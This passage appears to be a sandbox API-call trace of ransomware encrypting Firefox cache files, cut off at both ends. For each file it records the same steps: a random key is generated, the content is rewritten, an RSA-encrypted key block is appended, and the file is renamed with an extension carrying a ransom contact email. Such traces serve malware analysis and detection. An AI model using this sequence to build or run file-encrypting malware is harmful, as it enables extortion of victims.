hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0285.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82f40 | out: hHeap=0x570000) returned 1 [0285.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0285.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0285.175] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", dwFileAttributes=0x80) returned 1 [0285.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82700 [0285.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82700 | out: hHeap=0x570000) returned 1 [0285.176] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.176] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1356) returned 1 [0285.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x54c) returned 0x66e948 [0285.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x54c) returned 0x2f3e850 [0285.176] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x54c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x54c, lpOverlapped=0x0) returned 1 [0285.187] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.187] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x54c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x54c, lpOverlapped=0x0) returned 1 [0285.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0285.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0285.187] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x54c [0285.187] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.187] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.187] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.187] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.188] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.188] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GopkeoI7C3sTk385OKht/Rgih5z+tXRiE/WwkQDosOd5vOJViATpbu1Oym+3HXfc\n0WaQFEe+mksCcyjHIwoyRbn6uYRG9TGXwmfbnu6mBNxRqWkjtKIZsDM2IZDtafSY\ngRIbYuqvBotjfvd865CjQ3tIIzGQmTZp84nLXDt0nRBwW3V70tLzic/JxMVN8Oze\n1qFguRNKhnfb/68fAVEd64Bo5nQONWR0vHSoD/XEwvEdbLbIfkBhUn1e2/y7BU/K\nJrfE36uL+zjCv2AlHSBrvUiMgYAMfhBL527MKDF3WbkhBo/emVJvdj1FVIRth9vh\nZ3BfyXjhdTG24UVUd/ittQ==\n", pcchString=0x2e3f9a8) returned 1 [0285.188] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.188] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.188] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.188] CloseHandle (hObject=0x1b84) returned 1 [0285.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.188] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0285.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0285.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f825f8 | out: hHeap=0x570000) returned 1 [0285.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82808 [0285.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0285.191] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.191] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", dwFileAttributes=0x80) returned 1 [0285.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81aa0 [0285.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81aa0 | out: hHeap=0x570000) returned 1 [0285.191] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.192] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4411) returned 1 [0285.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x113b) returned 0x3437008 [0285.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x113b) returned 0x3438150 [0285.192] ReadFile (in: hFile=0x1b84, lpBuffer=0x3437008, nNumberOfBytesToRead=0x113b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x113b, lpOverlapped=0x0) returned 1 [0285.328] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.329] WriteFile (in: hFile=0x1b84, lpBuffer=0x3438150*, nNumberOfBytesToWrite=0x113b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3438150*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113b, lpOverlapped=0x0) returned 1 [0285.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0285.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438150 | out: hHeap=0x570000) returned 1 [0285.329] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113b [0285.329] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.329] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.329] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iR3meBaW8Mv1+OFqViLRxSyygWQuslMadEYjoNtuQE6eQdzN1Dz5u0oWRqYUkUS7\nlJoy8YSE+0Arnq39rq8oZb08kirkYKOthadZB+zwWmwcKWdpbfZ54g2Ut7GecBy1\n5Q2SwyzfZLEix0KTBXfpjck/HHVCFOE3OrggsW7IXkhMVpw0VK88WWayd4dK/FCS\nxplieWGgMj2tVX36bqMu7tnigtHaacTzUlKr0rPVVDbklmkdA+hWKqnIrMY7IdvE\nq1A1MvOJv5Xg3hCt4AwrLcKgOizyrJ3Ia7jLMBiA0IpXxf5f9BVT7tnVuA6P6Fd8\n1IugBRq/YCWU85+kR6n/LQ==\n", pcchString=0x2e3f9a8) returned 1 [0285.330] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.330] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.330] CloseHandle (hObject=0x1b84) returned 1 [0285.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.330] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.332] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.332] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0285.332] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82808 | out: hHeap=0x570000) returned 1 [0285.332] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82910 | out: hHeap=0x570000) returned 1 [0285.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0285.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0285.333] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.333] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", dwFileAttributes=0x80) returned 1 [0285.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0285.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0285.334] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.334] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17968) returned 1 [0285.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4630) returned 0x343b820 [0285.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4630) returned 0x343fe58 [0285.334] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x4630, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x4630, lpOverlapped=0x0) returned 1 [0285.480] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-17968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.480] WriteFile (in: hFile=0x1b84, lpBuffer=0x343fe58*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343fe58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4630, lpOverlapped=0x0) returned 1 [0285.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0285.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343fe58 | out: hHeap=0x570000) returned 1 [0285.481] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4630 [0285.481] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.481] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.481] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.481] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.481] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.481] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cQ9DgwQS61a7x7Eo4FA+8K2XwZEEQd43umRwWGUY3e0rOfv7mHMRUNXbvN56081d\nFRhKBXWSnMrW6o0bDx9q7Ry0x3iEIcb0R/ycUenReEzg/I+lYCR9thY/vSWMxOTD\nBdAQctFBecLrmLf+rkdWA4Q2/4zSXy+rpmrz8PaGtWaWS8U4OgGng5X0dbApB/4F\nLOvExXhi38hwQRBcr57X/EROJgpdPEALKF7Zu1i8H8YZzVBQBy7JjRdP/DqXTNTe\nkxbz2THN6SpxLRzcm0ZIl4VF8nGgm8xVK31FQEdPl/h+cLK3YojydXFoMgaAOg6Q\ntDHFgV2qOAm48L9F+xbShQ==\n", pcchString=0x2e3f9a8) returned 1 [0285.481] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.481] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.482] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.482] CloseHandle (hObject=0x1b84) returned 1 [0285.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.482] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0285.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0285.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83048 | out: hHeap=0x570000) returned 1 [0285.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82f40 [0285.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0285.484] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.484] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", dwFileAttributes=0x80) returned 1 [0285.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f825f8 [0285.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f825f8 | out: hHeap=0x570000) returned 1 [0285.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.485] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4407) returned 1 [0285.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1137) returned 0x3437008 [0285.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1137) returned 0x3438148 [0285.485] ReadFile (in: hFile=0x1b84, lpBuffer=0x3437008, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0285.541] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.541] WriteFile (in: hFile=0x1b84, lpBuffer=0x3438148*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3438148*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0285.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0285.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438148 | out: hHeap=0x570000) returned 1 [0285.541] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1137 [0285.541] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.541] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.541] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.541] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.542] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.542] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Qt/YfG/HGMkX4c+OU5A/iXKcDSa+3p+MOwchxn32+euAnGRE7jolyr2P/wNrg7SB\nlSZcVa94ArlU+AOpTEEsk9wEABYHO3M2HWy2c58PFNPTm4ad1ZM8fg7tKjDQAgKP\niuts0/R3o7ppv/PrAXrlsa0/fYn70QU4RnMkv9M0Sq/KnrYGAy49tWthUpZqPfPm\nnUzGHuUKGB0l7+aLEwntZZ/T3DcCNCLaHTOw2F/hfYchRjjXpJ2jAM2JJLD1iyHl\nL6ICp6seUUG1fH6faEqYr3LoZxaqp/YDPOQGJ9b+O15MfUxYCOr7fsNajYn6qIaz\nz9WVWgbEAa1wzK4rnXqVPw==\n", pcchString=0x2e3f9a8) returned 1 [0285.542] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.542] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.542] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.542] CloseHandle (hObject=0x1b84) returned 1 [0285.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.542] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: 